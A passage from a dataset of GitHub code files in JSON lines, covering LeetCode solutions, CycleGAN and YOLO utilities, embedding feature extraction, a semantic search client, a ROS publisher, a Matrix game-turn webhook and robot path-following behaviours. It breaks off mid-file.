dfs(x,y):\n            \n            \n            if (x,y) not in moves:\n                moves[(x,y)] = min (dfs(abs(x-2),abs(y-1)), dfs(abs(x-1),abs(y-2)))+1\n            return moves[(x,y)]\n        \n        \n        \n        return dfs(x,y)\n    \n        \n        \n        \n","repo_name":"cr21/PythonLeetcode","sub_path":"LC1197_Minimum_knight_moves.py","file_name":"LC1197_Minimum_knight_moves.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35796345762","text":"\nimport skimage\nimport skimage.io\nimport skimage.color\nimport numpy as np\nimport random\n\n\ndef load_image(filepath):\n    image = skimage.io.imread(filepath)\n    if image.ndim == 2:\n        image = skimage.color.gray2rgb(image)\n\n    if image.dtype == np.uint8:\n        image = image.astype(np.float32) / 255.0\n\n    assert image.dtype == np.float32, image.dtype\n    assert np.min(image) >= 0.0, np.min(image)\n    assert np.max(image) <= 1.0, np.max(image)\n\n    return image\n\n\ndef normalize(image):\n    return (image - 0.5) / 0.5\n\n\ndef unnormalize(image):\n    image = (image * 0.5) + 0.5\n    return np.clip(image, 0.0, 1.0)\n\n\nclass ImagePool:\n    \"\"\"\n    Saves a list of maximum `size` images. When the pool is full, a randomly selected image might be returned,\n    instead of returning the latest stored image.\n    \"\"\"\n    def __init__(self, size):\n        self.images = []\n        self.size = size\n\n    def put(self, image):\n        self.images.append(image.detach())\n\n    def get(self):\n        assert len(self.images) <= self.size\n\n        if len(self.images) < self.size:\n            return self.images[-1]\n\n        if random.random() < 0.5:\n            index = -1\n        else:\n            index = random.randrange(len(self.images))\n\n        return self.images.pop(index)","repo_name":"martno/cyclegan-pytorch","sub_path":"image_utils.py","file_name":"image_utils.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17593207336","text":"import numpy as np\nfrom sentence_transformers import SentenceTransformer\nimport sister\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\nfrom sklearn.preprocessing import normalize\n\nimport pickle\n\n\ndef extract_features(instances, lang_id, model_path=None, feature_type='sbert'):\n    \"\"\"\n    Given n instances, return features of dim (n_samples * feature_dim)\n\n    :param instances, a list of triples, [left context], target word, [right context])\n    :param lang_id, str, used for fasttext feature\n    :param model_path, str, used for word2vec, glove features\n    :param feature_type: str, 'word2vec', 'glove', 'fasttext' and 'sbert', default is 'sbert'\n    :return: 2-D array, size is n_samples * feature_dim\n    \"\"\"\n\n    if feature_type == 'word2vec':\n        left_features, right_features = word2vec(instances, model_path)\n    elif feature_type == 'glove':\n        left_features, right_features = glove_vec(instances, model_path)\n    elif feature_type == 'fasttext':\n        left_features, right_features = fasttext(instances, lang_code=lang_id)\n    else:\n        left_features, right_features = sbert(instances)\n\n    features = np.concatenate((left_features, right_features), axis=1)\n    return features\n\ndef dimension_reduction(features, reduction_type='pca', n_components=10):\n    \"\"\"\n    Applied dimensionality reduction and normalization\n\n    :param features: 2-D array of size n_samples * feature_dim\n    :param reduction_type: str, 'pca' or 'tsne', default is 'pca'\n    :param n_components: feature dimension\n    :return: 2-D array, reduced feature dimension with size n_samples * n_components\n    \"\"\"\n\n    if reduction_type == 'tsne':\n        tsne = TSNE(n_components=n_components, method='exact')\n        features = normalize(features, norm='l2')\n        features = tsne.fit_transform(features)\n    else:\n        reduction = PCA(n_components=n_components)\n        # normalization\n        features = normalize(features, norm='l2')\n        features = reduction.fit_transform(features)\n        # print(reduction.explained_variance_ratio_)\n        # print(\"sum of pca variance ratio:\", sum(reduction.explained_variance_ratio_))\n\n    return features\n\ndef glove_vec(instances, model_path):\n    \"\"\"\n    Finds instances of a target word and retrieves surrounding context vectors with a given vectorizer model.\n    Returns vect_to_context (list of tuples of vectors with the source context) and contexts (list of context vecs)\n\n    :param instances: a list of triples, [left context], target word, [right context])\n    :param model_path: str, the path of pre-trained model\n    :return: a pair of 2-D array: features of left and right contexts\n    \"\"\"\n    vec_model = pickle.load(open(model_path, 'rb'))\n    left_feats = []\n    right_feats = []\n    # Obtaining average vector of all vectors within vocab of vec_model\n    average_vec = np.mean([vec_model[token] for token in vec_model.keys()], axis=0)\n    \n    for left_context, target, right_context in instances:\n        left = []\n        for word in left_context:\n            token = word.lower()\n            if token in vec_model:\n                left.append(vec_model[token])\n            else:\n                # OOV tokens use a vector which is an average of all vectors in vocab\n                left.append(average_vec)\n        if left == []:\n            left = np.zeros(average_vec.size)\n        else:\n            left = np.mean(np.array(left), axis=0)\n\n        right = []\n        for word in right_context:\n            token = word.lower()\n            if token in vec_model:\n                right.append(vec_model[token])\n            else:\n                # OOV tokens use a vector which is an average of all vectors in vocab\n                right.append(average_vec)\n        if right == []:\n            right = np.zeros(average_vec.size)\n        else:\n            right = np.mean(np.array(right), axis=0)\n\n        assert right.size == left.size, \"Size mismatch between left and right contexts\"\n        left_feats.append(left)\n        right_feats.append(right)\n\n    return left_feats, right_feats\n\n\ndef sbert(instances):\n    \"\"\"\n    take a list of strings and return the embeddings of left/right context\n    https://github.com/UKPLab/sentence-transformers\n\n    @article{reimers-2020-multilingual-sentence-bert,\n        title = \"Making Monolingual Sentence Embeddings Multilingual using Knowledge Distillation\",\n        author = \"Reimers, Nils and Gurevych, Iryna\",\n        journal= \"arXiv preprint arXiv:2004.09813\",\n        month = \"04\",\n        year = \"2020\",\n        url = \"http://arxiv.org/abs/2004.09813\",\n    }\n\n    :param instances: list of triple ([left context], target word, [right context])\n    :return: a pair of 2-D array: features of left and right contexts\n    \"\"\"\n    model = SentenceTransformer('distiluse-base-multilingual-cased')\n    left_contexts = [' '.join(left_context) for left_context, _, _ in instances]\n    right_contexts = [' '.join(right_context) for _, _, right_context in instances]\n    left_feats = model.encode(left_contexts)\n    right_feats = model.encode(right_contexts)\n\n    return left_feats, right_feats\n\n\ndef word2vec(instances, model_path):\n    \"\"\"\n    Finds instances of a target word and retrieves surrounding context vectors with a given vectorizer model.\n    Returns vect_to_context (list of tuples of vectors with the source context) and contexts (list of context vecs)\n\n    :param instances: a list of triples, [left context], target word, [right context])\n    :param model_path: str, the path of pre-trained model\n    :return: a pair of 2-D array: features of left and right contexts\n    \"\"\"\n    vec_model = pickle.load(open(model_path, 'rb'))\n    \n    left_feats = []\n    right_feats = []\n    # Obtaining average vector of all vectors within vocab of vec_model\n    average_vec = np.mean([vec_model.wv[token] for token in vec_model.wv.vocab.keys()], axis=0)\n    for left_context, target, right_context in instances:\n        left = []\n        for word in left_context:\n            token = word.lower()\n            if token in vec_model.wv.vocab:\n                left.append(vec_model.wv[token])\n            else:\n                # OOV tokens use a vector which is an average of all vectors in vocab\n                left.append(average_vec)\n        if left == []:\n            left = np.zeros(average_vec.size)\n        else:\n            left = np.mean(np.array(left), axis=0)\n\n        right = []\n        for word in right_context:\n            token = word.lower()\n            if token in vec_model.wv.vocab:\n                right.append(vec_model.wv[token])\n            else:\n                # OOV tokens use a vector which is an average of all vectors in vocab\n                right.append(average_vec)\n        if right == []:\n            right = np.zeros(average_vec.size)\n        else:\n            right = np.mean(np.array(right), axis=0)\n        \n\n        assert right.size == left.size, \"Size mismatch between left and right contexts\"\n        left_feats.append(left)\n        right_feats.append(right)\n\n    return left_feats, right_feats\n\n\ndef fasttext(instances, lang_code='en'):\n    \"\"\"\n    take a list of strings and lang code and return the fasttext embeddings of sentences\n\n    :param instances: a list of triples, [left context], target word, [right context])\n    :param lang_code: str\n    :return: a pair of 2-D array: features of left and right contexts\n    \"\"\"\n    embedder = sister.MeanEmbedding(lang=lang_code)\n    left_feats = []\n    right_feats = []\n    for left_context, _, right_context in instances:\n        if left_context == []:\n            left_feats.append(np.zeros(300))\n        else:\n            left_feats.append(embedder(' '.join(left_context)))\n        if right_context == []:\n            right_feats.append(np.zeros(300))\n        else:\n            right_feats.append(embedder(' '.join(right_context)))\n    return left_feats, right_feats\n","repo_name":"shuanggu-gs/a-dissimilarity-based-concordancer","sub_path":"Concordancer/source/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27099191159","text":"class Solution:\n    def removeCoveredIntervals(self, intervals: List[List[int]]) -> int:\n        intervals.sort(key=lambda x: (x[0],-x[1]))\n        if len(intervals)<=1:\n            return intervals\n        current=intervals[0]\n        ans=1\n        j=1\n        while(j<len(intervals)):\n            if current[0]<=intervals[j][0] and current[1]>=intervals[j][1]:\n                j+=1 \n            else:\n                current=intervals[j]\n                ans+=1\n                j+=1\n        return ans\n    ","repo_name":"0xtinyuk/LeetCode","sub_path":"Algorithms/1288. Remove Covered Intervals.py","file_name":"1288. Remove Covered Intervals.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31247198109","text":"import time\nfrom driver import SearchEngine\nse = SearchEngine(0)\n\nwhile True:\n    se.load_site(\"https://deprem.io/yardim-istek-enkaz\")\n    time.sleep(5)\n    if se.isAvailable() == 0:\n        print(\"We go\")\n        se.send_food()\n        time.sleep(30)\n    else:\n        print(\"Waiting next rount\")\n        time.sleep(60)\n","repo_name":"grimok/GoogleSheetsSelenium","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"17122209745","text":"import openai\nimport cohere\nfrom qdrant_client import QdrantClient\nimport Creds\nfrom typing import Dict, List\n\n\nclass SearchClient:\n\n    def __init__(\n            self, \n            query,\n            qdrant_host=Creds.QDRANT_HOST, \n            qdrant_api_key=Creds.QDRANT_API_KEY,\n            cohere_api_key=Creds.COHERE_API_KEY,\n            openai_api_key=Creds.OPENAI_API_KEY, \n            collection_name = 'legalcompanion', \n        ):\n\n        self.query = query\n        self.qdrant_client = QdrantClient(host=qdrant_host, api_key=qdrant_api_key)\n        self.collection_name = collection_name\n        self.co_client = cohere.Client(api_key=cohere_api_key)\n        openai.api_key = openai_api_key\n\n    # Qdrant requires data in float format\n    def _float_vector(self, vector: List[float]):\n        return list(map(float, vector))\n\n    # Search using text query\n    def search(self, limit: int = 3):\n\n        try:\n            query_vector = self.co_client.embed(texts=[self.query], model=\"large\", truncate=\"RIGHT\").embeddings[0]\n\n            return self.qdrant_client.search(\n                collection_name=self.collection_name,\n                query_vector=self._float_vector(query_vector),\n                limit=limit,\n            )\n        except Exception as e:\n            print(e)\n\n    # Answer the user query based on the context of most relevant result of semantic search of user query\n    def answerQuery(self):\n\n        try:\n            search_result = self.search()\n                \n            context = search_result[0].payload[\"text\"]\n\n            prompt = f\"Answer the Query based on the contexts, if it's not in the contexts say 'I don't know the answer'. Answer should be in the language of query. \\n\\nContext:\\n{context}\\n\\nQuery:\\n{self.query}\\nAnswer:\\n\"\n\n            res = openai.Completion.create(\n                    engine='text-davinci-003',\n                    prompt=prompt,\n                    temperature=0,\n                    max_tokens=1000,\n                    top_p=1,\n                    frequency_penalty=0,\n                    presence_penalty=0,\n                    stop=None\n            )\n\n            return res['choices'][0]['text'].strip()  \n        except Exception as e:\n            print(e)\n            return \"Error\"\n            ","repo_name":"nomikhan777/LawSuite-Hacakaton-Project","sub_path":"Backend/API/LegalSuggestionAPI/SearchClient.py","file_name":"SearchClient.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73419697209","text":"import gym\nimport numpy as np\nimport show_event\nimport cv2\n\ncliffEnv = gym.make(\"CliffWalking-v0\")\n\ndone = False\nframe = show_event.initialize_frame()\nstate = cliffEnv.reset()\nwhile not done:\n    frame2 = show_event.put_agent(frame.copy(),state)\n    cv2.imshow('Cliff Walking', frame2)\n    cv2.waitKey(250)\n    action = int(np.random.randint(0, 4, 1))\n   # print(state, \"-->\", ['up', 'right', 'down', 'left'][action])\n    state, reward, done, _ = cliffEnv.step(action)\n\n   # print(state)\ncliffEnv.close()","repo_name":"Nihar4980/RL","sub_path":"agent_view.py","file_name":"agent_view.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31996548603","text":"import os\nimport logging\nfrom itertools import accumulate\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom typing import Any, Callable, Dict, List, Optional, Set, Tuple, Union\nfrom collections import OrderedDict\nfrom transformers.file_utils import is_remote_url\n\nfrom detectron2.config import CfgNode, get_cfg\nfrom detectron2.structures import ImageList, Instances, Boxes\nfrom detectron2.utils.events import EventStorage\nfrom detectron2.modeling import build_model\nfrom unitorch import hf_cached_path\nfrom unitorch.models import GenericModel, GenericOutputs\n\n\ndef _add_yolo_config(cfg):\n    cfg.MODEL.YOLOV5 = CfgNode()\n    cfg.MODEL.YOLOV5.FOCUS = True\n    cfg.MODEL.YOLOV5.VERSION = \"m\"\n    cfg.MODEL.YOLOV5.NUM_CLASSES = 80\n    cfg.MODEL.YOLOV5.ANCHORS = [\n        [10, 13, 16, 30, 33, 23],\n        [30, 61, 62, 45, 59, 119],\n        [116, 90, 156, 198, 373, 326],\n    ]\n    cfg.MODEL.YOLOV5.FOCAL_LOSS_GAMMA = 0.0\n    cfg.MODEL.YOLOV5.BOX_LOSS_GAIN = 0.05\n    cfg.MODEL.YOLOV5.CLS_LOSS_GAIN = 0.3\n    cfg.MODEL.YOLOV5.CLS_POSITIVE_WEIGHT = 1.0\n    cfg.MODEL.YOLOV5.OBJ_LOSS_GAIN = 0.7\n    cfg.MODEL.YOLOV5.OBJ_POSITIVE_WEIGHT = 1.0\n    cfg.MODEL.YOLOV5.LABEL_SMOOTHING = 0.0\n    cfg.MODEL.YOLOV5.ANCHOR_T = 4.0\n    cfg.MODEL.YOLOV5.CONF_THRESH = 0.001\n    cfg.MODEL.YOLOV5.IOU_THRES = 0.65\n    cfg.MODEL.PIXEL_MEAN: [0.0, 0.0, 0.0]\n    cfg.MODEL.PIXEL_STD: [255.0, 255.0, 255.0]\n    cfg.INPUT.SIZE = 416\n    cfg.INPUT.HSV_H = 0.015\n    cfg.INPUT.HSV_S = 0.7\n    cfg.INPUT.HSV_V = 0.4\n    cfg.INPUT.DEGREES = 0.0\n    cfg.INPUT.TRANSLATE = 0.1\n    cfg.INPUT.SCALE = 0.5\n    cfg.INPUT.SHEAR = 0.0\n    cfg.INPUT.PERSPECTIVE = 0.0\n    cfg.INPUT.FLIPUD = 0.0\n    cfg.INPUT.FLIPLR = 0.5\n    cfg.INPUT.MOSAIC = 1.0  # IGNORED\n    cfg.INPUT.MIXUP = 0.0\n    cfg.INPUT.FORMAT = \"BGR\"\n    cfg.TEST.AUG.SIZE = 416\n\n\nclass YoloForDetection(GenericModel):\n    def __init__(self, detectron2_config_path: str):\n        \"\"\"\n        Args:\n            detectron2_config_path: config file path to generalized yolo model\n        \"\"\"\n        super().__init__()\n        config = get_cfg()\n        _add_yolo_config(config)\n        config.merge_from_file(detectron2_config_path)\n        self.config = config\n        self.yolo = build_model(config)\n        self.init_weights()\n\n    @property\n    def dtype(self):\n        \"\"\"\n        `torch.dtype`: which dtype the parameters are (assuming that all the parameters are the same dtype).\n        \"\"\"\n        return next(self.parameters()).dtype\n\n    @property\n    def device(self):\n        \"\"\"\n        `torch.device`: The device on which the module is (assuming that all the module parameters are on the same device).\n        \"\"\"\n        return next(self.parameters()).device\n\n    def from_pretrained(\n        self,\n        weight_path: str,\n        replace_keys: Dict = OrderedDict(),\n        **kwargs,\n    ):\n        \"\"\"\n        Load model's pretrained weight\n        Args:\n            weight_path: the path of pretrained weight of mbart\n        \"\"\"\n        if weight_path is None:\n            return\n\n        if not (is_remote_url(weight_path) or os.path.exists(weight_path)):\n            return\n\n        weight_path = hf_cached_path(weight_path)\n        state_dict = torch.load(weight_path, map_location=\"cpu\")\n\n        _self_state_dict = self.yolo.state_dict()\n        state_dict = {\n            k: v for k, v in state_dict.items() if k in _self_state_dict and v.shape == _self_state_dict[k].shape\n        }\n\n        self.load_state_dict(state_dict, False)\n        logging.info(f\"{type(self).__name__} model load weight from pretrain {weight_path}\")\n\n    def forward(\n        self,\n        images: Union[List[torch.Tensor], torch.Tensor],\n        bboxes: Union[List[torch.Tensor], torch.Tensor],\n        classes: Union[List[torch.Tensor], torch.Tensor],\n    ):\n        \"\"\"\n        Args:\n            images: list of image tensor\n            bboxes: list of boxes tensor\n            classes: list of classes tensor\n        \"\"\"\n        if isinstance(images, torch.Tensor):\n            assert images.dim() == 4\n            _images = ImageList(images, [(images.size(-2), images.size(-1))] * images.size(0))\n        else:\n            _images = ImageList.from_tensors(images, self.yolo.backbone.size_divisibility)\n\n        _instances = [\n            Instances(\n                image_size=_images.image_sizes[i],\n                gt_boxes=Boxes(bboxes[i]),\n                gt_classes=classes[i],\n            )\n            for i in range(len(bboxes))\n        ]\n        with EventStorage() as storage:\n            _features = self.yolo.backbone(_images.tensor.to(self.dtype))\n            _features = list(_features.values())\n\n            _pred = self.yolo.head(_features)\n            _losses = self.yolo.loss(_pred, _instances)\n\n        _loss = torch.tensor(0.0).to(self.device)\n        for k, v in _losses.items():\n            _loss += v.sum()\n        return _loss\n\n    @torch.no_grad()\n    def detect(\n        self,\n        images: Union[List[torch.Tensor], torch.Tensor],\n        norm_bboxes: Optional[bool] = False,\n    ):\n        \"\"\"\n        Args:\n            images: list of image tensor\n        \"\"\"\n        if isinstance(images, torch.Tensor):\n            assert images.dim() == 4\n            _images = ImageList(images, [(images.size(-2), images.size(-1))] * images.size(0))\n        else:\n            _images = ImageList.from_tensors(images, self.yolo.backbone.size_divisibility)\n\n        _features = self.yolo.backbone(_images.tensor.to(self.dtype))\n        _features = list(_features.values())\n        _pred = self.yolo.head(_features)\n        _instances = self.yolo.inference(_pred, _images.image_sizes)\n\n        bboxes = [_instance.pred_boxes.tensor for _instance in _instances]\n        scores = [_instance.scores for _instance in _instances]\n        classes = [_instance.pred_classes for _instance in _instances]\n\n        if norm_bboxes:\n            sizes = _images.image_sizes\n            bboxes = [b / torch.tensor([s[1], s[0], s[1], s[0]]).to(b) for b, s in zip(bboxes, sizes)]\n\n        outputs = dict(\n            {\n                \"bboxes\": bboxes,\n                \"scores\": scores,\n                \"classes\": classes,\n            }\n        )\n\n        return GenericOutputs(outputs)\n","repo_name":"afjun/unitorch","sub_path":"unitorch/models/detectron2/yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":6229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"12292583746","text":"#!/usr/bin/env python\n\n# Author: Quang Tran 2018\nimport rospy\nfrom sensor_msgs.msg import JointState\nfrom std_msgs.msg import Header\nimport serial.tools.list_ports\nfrom math import pi\nfrom math import degrees\n# import Orion5\nimport orion5\nfrom orion5 import orion5_math\nimport time\n\ndef talker():\n    pub = rospy.Publisher('joint_vals', JointState, queue_size=10)\n    rospy.init_node('orion5_joint_state_publisher')\n    rate = rospy.Rate(10) # 0.5 Hz\n    # Create a JointState variable\n    pose = JointState()\n    pose.header = Header()\n    pose.header.stamp = rospy.Time.now()\n    pose.name = ['base', 'shoulder', 'elbow', 'wrist', 'claw']\n    pose.velocity = []\n    pose.effort = []\n    # Initial pose\n    pose.position = orion.getAllJointsPosition()\n    # Publish message and wait 5 second for the robot to run\n    pub.publish(pose)\n    rospy.sleep(1)\n    while not rospy.is_shutdown():\n      while True:\n          pose.header.stamp = rospy.Time.now()\n          pose.position = orion.getAllJointsPosition()\n          pub.publish(pose)\n          print(pose)\n          rate.sleep()\n\nif __name__ == '__main__':\n    try:\n\n        global orion\n        orion = orion5.Orion5()\n        print('running Publisher')\n\n        talker()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"csmithcripps/orion5_ros","sub_path":"src/scripts/orion5_joint_state_publisher.py","file_name":"orion5_joint_state_publisher.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4504630239","text":"# 给定两个大小为 m 和 n 的有序数组 nums1 和 nums2。\n# 请你找出这两个有序数组的中位数，并且要求算法的时间复杂度为 O(log(m + n))。\n# 你可以假设 nums1 和 nums2 不会同时为空。\n# 示例 1:\n# nums1 = [1, 3]\n# nums2 = [2]\n# 则中位数是 2.0\n# 示例 2:\n# nums1 = [1, 2]\n# nums2 = [3, 4]\n# 则中位数是 (2 + 3)/2 = 2.5\n\n\n# 执行结果：通过\n# 执行用时 :92 ms, 在所有 python3 提交中击败了99.61%的用户\n# 内存消耗 :12.8 MB, 在所有 python3 提交中击败了99.43%的用户\n\n\ndef findKthElm(nums1,nums2,k):\n    min_int = -9223372036854775807\n    assert (1 <= k and k <= len(nums1) + len(nums2))\n    left = max(0,k-len(nums2))\n    right = min(len(nums1),k)\n    while right > left:\n        mid = left + (right - left) // 2\n        if nums2[k - mid - 1] > nums1[mid]:\n            left = mid + 1 \n        else:\n            right = mid\n\n    nums1leftMax = min_int if (left == 0) else nums1[left - 1]\n    nums2leftMax = min_int if (left == k) else nums2[k - left - 1]\n\n    return max(nums1leftMax,nums2leftMax)\n\n\ndef findMedianSortedArrays (nums1 , nums2) :\n    n = len(nums1) + len(nums2)\n    if n&1 :\n        return float(findKthElm(nums1,nums2,(n>>1)+1))\n    else:\n        return float((findKthElm(nums1,nums2,n>>1)+findKthElm(nums1,nums2,(n>>1)+1))/2)","repo_name":"MagicStarLIN/PythonDemos","sub_path":"findMedianSortedArrays.py","file_name":"findMedianSortedArrays.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32160746199","text":"import json\nfrom flask import Blueprint, request\nfrom matrix_client.errors import MatrixRequestError, MatrixError\nfrom ..matrix.client import client\nfrom ..services.logger import logger\nfrom ..services.mapping import get_rooms_mapping, get_users_mapping\n\nciv_pages = Blueprint('civ_pages', __name__)\n\n\n@civ_pages.route('/', methods=['POST'])\ndef civ():\n    try:\n        if request.is_json:\n            data = request.get_json();\n        else:\n            data = request.form\n\n        if 'value1' not in data or 'value2' not in data or 'value3' not in data:\n            logger.warning('Not expected values found in post data')\n            return json.dumps({\n                'success': False,\n                'errorCode': 'POST_BODY_INVALID',\n            });\n\n        game_name = data.get('value1')\n        user = data.get('value2')\n        turn = data.get('value3')\n\n        rooms_mapping = get_rooms_mapping()\n        if game_name not in rooms_mapping:\n            logger.info('Game \"{:s}\" has not defined room'.format(game_name))\n            return json.dumps({\n                'success': False,\n                'errorCode': 'NOT_ASSOCIATED_TO_A_ROOM',\n            })\n\n        text = \"Hey {:s}, it's your turn to play (turn {:s})\".format(user, turn)\n\n        users_mapping = get_users_mapping()\n        if user in users_mapping:\n            html = \"Hey <a href =\\\"https://matrix.to/#/{:s}\\\">{:s}</a>, it's your turn to play (turn {:s})\"\\\n                .format(users_mapping[user], user, turn)\n            response = client.send_message_event(rooms_mapping.get(game_name), \"m.room.message\", {\n                \"body\": text,\n                \"msgtype\": 'm.text',\n                \"format\": \"org.matrix.custom.html\",\n                \"formatted_body\": html\n            })\n        else:\n            response = client.send_message(rooms_mapping.get(game_name), text)\n\n        return json.dumps({\n            'success': True,\n            'serverResponse': response,\n        })\n    except MatrixRequestError as err:\n        logger.error(err)\n        return json.dumps({\n            'success': False,\n            'errorCode': 'MATRIX_REQUEST_ERROR',\n            'serverResponse': json.loads(err.content),\n        }), err.code\n    except MatrixError as err:\n        logger.error(err)\n        return json.dumps({\n            'success': False,\n            'errorCode': 'INTERNAL_ERROR'\n        })\n\n\n__all__ = ['civ_pages']\n","repo_name":"coolmic/civ6_hooks_matrix","sub_path":"civ6_hooks_matrix/routes/civ.py","file_name":"civ.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"78603835","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 10 21:14:01 2022\n\n@author: miguelcatalan\n\"\"\"\n\nnumero = -1\n\nwhile numero < 0:\n    numero = float(input(\"Ingrese un número positivo: \"))","repo_name":"mike28gt/pplcei1","sub_path":"2022-s21-sentenciasRepetitivas.py","file_name":"2022-s21-sentenciasRepetitivas.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35957557533","text":"\"\"\"\nНаписать функцию, которая будет принимать список и находить уникальное число.\nПример:\nfind_unique_value([1, 2, 1, 1]) -> 2\nfind_unique_value([2, 3, 3, 3]) -> 2\nfind_unique_value([5, 5, 5, 0.5]) -> 0.5\n\"\"\"\n\nfrom collections import Counter\nMyList = [1, 2, 1, 1]\nListCount = Counter(MyList)\ndef Unique(MyList):\n    for item in ListCount.items():\n        if item [1]==1:\n            return (item[0])\nprint(Unique(MyList))\n","repo_name":"ArturVictorKoval/github_dz","sub_path":"dz/domashka21.py","file_name":"domashka21.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20777053630","text":"def _posToCoord(position):\n        return (position[0], position[1])\n\ndef _posToDirection(position):\n        return position[2]\n\ndef _calculateCoordinates(coord, direction):\n    newCoord = list(coord)\n    if direction == 0:\n        newCoord[1] += 1\n    elif direction == 1:\n        newCoord[0] += 1\n    elif direction == 2:\n        newCoord[1] -= 1\n    elif direction == 3:\n        newCoord[0] -= 1\n    return tuple(newCoord)\n\ndef _nextDirection(direction):\n        return (direction + 1) % 4\n\ndef _getBlobData(robot, position):\n        blobs = []\n        direction = 0\n        coordinates = [position[0], position[1]]\n        rawData = robot.senseBlob()\n\n        for raw in rawData:\n            if raw:\n                blobs.append(_calculateCoordinates(coordinates, direction))\n            direction = (direction + 1) % 4\n        return blobs\n\nclass BehaviorGoFast:\n    def __init__(self):\n        self.pathNeedsUpdate = True\n        self.position = None\n        self.direction = None\n        self.coordinates = None\n        self.supposedToBeHere = None\n\n    def go(self, robot, mmap, pathFinder):\n        while(len(mmap.getUnvisitedSearchPoints()) > 0):\n            self._takeAStep(robot, mmap, pathFinder)\n        \n        robot.close()\n\n    def _takeAStep(self, robot, mmap, pathFinder):\n        self.position = robot.getPos()\n        self.direction = _posToDirection(self.position)\n        self.coordinates = _posToCoord(self.position)\n        \n        mmap.pathTaken.append(self.coordinates)\n\n        if len(mmap.pathTaken) == 1 or self.supposedToBeHere != self.coordinates:\n            self.pathNeedsUpdate = True\n\n        if self.pathNeedsUpdate:\n            mmap.pathToBeTaken = pathFinder.findPath(\n                    self.coordinates, mmap.getUnvisitedSearchPoints(), mmap)\n            if mmap.pathToBeTaken == None:\n                raise RuntimeError(\"mmap.pathToBeTaken == None\")\n            self.pathNeedsUpdate = False\n\n        if len(mmap.pathToBeTaken) == 0:\n            mmap.update(\n                self.coordinates,\n                [],\n                _getBlobData(robot, self.position))\n            return\n        self._faceThisPoint(robot, mmap.peekNextDestination())\n        mmap.update(\n                self.coordinates,\n                self._getHazardData(robot, mmap),\n                _getBlobData(robot, self.position))\n\n        while(mmap.isOnNextStep()):\n            mmap.pathToBeTaken = pathFinder.findPath(\n                    self.coordinates, mmap.getUnvisitedSearchPoints(), mmap)\n            if mmap.pathToBeTaken == None:\n                raise RuntimeError(\"mmap.pathToBeTaken == None\")\n            self._faceThisPoint(robot, mmap.peekNextDestination())\n            self._updateHazard(mmap, robot)\n\n        self.supposedToBeHere = mmap.popNextDestination()\n        robot.move()\n\n    def _faceThisPoint(self, robot, destination):\n        while(destination != _calculateCoordinates(\n            self.coordinates, self.direction)):\n            robot.rotate()\n            self.direction = _nextDirection(self.direction)\n\n    def _updateHazard(self, mmap, robot):\n        mmap.update(self.coordinates, self._getHazardData(robot, mmap), [])\n\n    def _getHazardData(self, robot, mmap):\n        hazards = []\n        if robot.senseHazard():\n                frontCoord = _calculateCoordinates(\n                    self.coordinates, self.direction)\n                hazards.append(frontCoord)\n        return hazards\n\nclass BehaviorGoSlow:\n    def __init__(self):\n        self.pathNeedsUpdate = True\n        self.position = None\n        self.direction = None\n        self.coordinates = None\n        self.supposedToBeHere = None\n\n    def go(self, robot, mmap, pathFinder):\n        # implement this\n        # DO NOT check time and memory\n        self.visitOrderProducer = pathFinder\n        while(len(mmap.getUnvisitedSearchPoints()) > 0):\n            self._takeAStep(robot, mmap, pathFinder)\n\n        robot.close()\n\n    def _takeAStep(self, robot, mmap, pathFinder):\n        self._prepToMove(robot, mmap) #Base\n        self._updateMap(robot, mmap) #Sub\n        self._findPath(robot, mmap, pathFinder) #Sub\n        self._move(robot, mmap) #Base\n\n    def _prepToMove(self, robot, mmap):\n        self.position = robot.getPos()\n        self.direction = _posToDirection(self.position)\n        self.coordinates = _posToCoord(self.position)\n        mmap.pathTaken.append(self.coordinates)\n        if len(mmap.pathTaken) == 1 or self.supposedToBeHere != self.coordinates:\n            self.pathNeedsUpdate = True\n\n    def _findPath(self, robot, mmap, pathFinder):\n        if mmap.isOnPath() or self.pathNeedsUpdate:\n                mmap.pathToBeTaken = pathFinder.findPath(\n                    self.coordinates, mmap.getUnvisitedSearchPoints(), mmap)\n        self.pathNeedsUpdate = False\n        if mmap.pathToBeTaken == None:\n            raise RuntimeError(\"mmap.pathToBeTaken == None\")\n\n    def _move(self, robot, mmap):\n        if len(mmap.pathToBeTaken) > 0:\n            self.supposedToBeHere = mmap.popNextDestination()\n            self._moveInDirection(robot, self.coordinates, 